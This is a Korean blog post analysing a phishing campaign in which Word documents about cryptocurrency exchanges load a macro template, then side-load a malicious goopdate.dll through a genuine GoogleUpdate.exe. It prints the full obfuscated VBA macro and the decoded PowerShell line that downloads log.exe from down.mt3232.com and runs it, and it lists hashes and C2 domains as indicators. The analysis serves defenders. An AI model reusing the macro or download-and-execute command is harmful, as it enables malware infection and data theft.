'DLL Side-Loading'에 해당되는 글 1건

3월부터 토탈에서 지속적으로 코인거래소와 관련된 제목과 내용을 가지고 있는 문서가 확인되었다. 이 공격은 현재까지 지속적으로 이루어지고 있는 것으로 확인되며 유사한점이 많아 분석을 진행하였다. 

 

 

4 10일에 마지막으로 수정되었으며 정상적인 워드 문서로 위장하고 있는 파일은 취약점을 악용하며  매크로 코드가 포함되어 있지않지만 추가로 다운로드 받은 파일(매크로 코드가 포함된 워드서식)에 의해 콘텐츠 사용버튼을 누름으로써 매크로 코드가 동작하게 된다.

 

 [그림 1] 콘첸츠 사용 유도

 

[그림 2] 문서 마지막으로 수정한 날짜 및 만든이

 

매크로 코드는 추가 파일을 다운로드 받기 위해 시도하며 Powershell을 사용하여 동작시킨다.

Private Sub Document_Open()
myvba
End Sub

Private Sub myvba()
Dim shp As Shape

 
'Delete Shapes
For Each shp In ActiveDocument.Shapes
    shp.Delete
Next shp
    Dim str, str1, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, str12, str13, str14, str15
    str1 = "cm"
    str2 = "d /c powers"
    str3 = "hell w"
    str4 = "get -u"
    str5 = "ri "
    str6 = "https://down.mt3232.com/cs/"
    str7 = "log.txt"
    str8 = " -outfile C:\Users\Public\Documents\log.e"
    str9 = "xe;[System.Diagnostics.Pro"
    str10 = "cess]::St"
    str11 = "art('"
    str12 = "C:\Users\Public\Documents\log.e"
    str13 = "xe',"
    str14 = "'asijdoaj"
    str15 = "sid');"
    str = str1 & str2 & str3 & str4 & str5 & str6 & str7 & str8 & str9 & str10 & str11 & str12 & str13 & str14 & str15
    Set ws = CreateObject("WScr" & "ipt.Sh" & "ell")
    ws.Run str, 0, False

 
End Sub

 

cmd /c powershell wget -uri https://down.mt3232.com/cs/log.txt -outfile C:\Users\Public\Documents\log.exe;[System.Diagnostics.Process]::Start('C:\Users\Public\Documents\log.exe asijdoajsid');

 

 

 

받은 파일(log.exe)은 NHN의 서명을 가지고 있으며 4월13일자로 등록되어있다. 내부 리소스에는 2개의 파일이 포함되어있으며 정상적으로 동작할 경우 동일한 폴더에 각각 생성 후 스케줄러를 사용하여 동작시킨다.

 

[그림 3] NHN 위장 서명

 

[그림4] 내부에 포함된 리소스

 

생성파일 1. GoogleUpdate.exe (정상파일)

  - 스케줄러명 #1 : GoogleUpdate (매일 오전9시 동작)

  - 스케줄러명 #2 : GoogleUpdateOnce (5분 후)

생성파일 2. goopdate.dll (악성, UPX)

 

 

리소스파일은 DLL Side-Loading 이라는 기법을 사용하는 것으로 보인다. GoogleUpdate.exe 파일은 정상 구글업데이트 파일로 실행 시 goopdate.dll의 DllEntry 함수를 동작시키는 코드가 포함되어 있는데 공격자를 이를 악용하여 생성파일2(goopdate.dll)를 동작시킨다. 정상적으로 동작한 DLL파일은 정상적인 PC에서 동작하는 것인지 확인하기 위해 프로세서가 4 이상인지 확인 후 동작시킨다.

 

[그림 5] 정상 goopdate.dll의 DllEntry 함수

 

[그림 6] 악성 goopdate.dll의 DllEntry 함수

 

GoogleUpdate.exe에서 goopdate.dll를 찾아서 로드하여 DllEntry 함수를 실행하는 과정에서 DLL의 경로를 가져오며 그 값에서 +0x06에 위치한 데이터(0x55)를 쉘코드의 복호화 키로 사용한다. 쉘코드에서 통신하는 최종 C&C 서버는 코인거래소(빗썸)과 유사한 주소를 가지고 있으며 추가 바이너리를 받아와 복호화 후 메모리에 다시 로드하는 과정을 포함하고 있다.

 

 

번외로 최종 C&C서버는 동일하게 사용하며 코인원, 업비트 등등 다양한 형태의 문서로 위장하여 사용자에게 유포되고 있으며 log.txt파일은 NHN 서명을 계속 포함하고 있었다. 또한 log.txt 페이지는 정상적인 접근이 아니라면 리다이렉션 되도록 설정이 된듯한데 리다이렉션되는 페이지가 네이버로 되어있더라....

 

사전투표 미리하고 집에서 잉여처럼 지낼예정이였으나 어제는 논다고 바빠서 마무리를 못했지만 오늘이라도 올려본다

 

[그림 7] 유포된 문서들 내용 일부

 

[IOC]

734618D96B0C73E2F36CDCCC3DE73F7A (새로운 방안입니다_1.docx)

84008911B1028EBDC1EC642051B21389 (word.dotm)

EBF2973E4CA3C86CC9DE396DF9137DAD (log.txt)


down.mt3232.com 
products.0ffice-microsoft.com 
cs.bit-humb.com

 

[유사샘플] 
16EC6973838186155689FCC9DDDF1FDA 
4738EF788DD7AA1C4CB774E217A9897E 
1007284d1267920766403c5657a1b9b4 
05D568E6CE9707795098D9DA70C474E5 

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,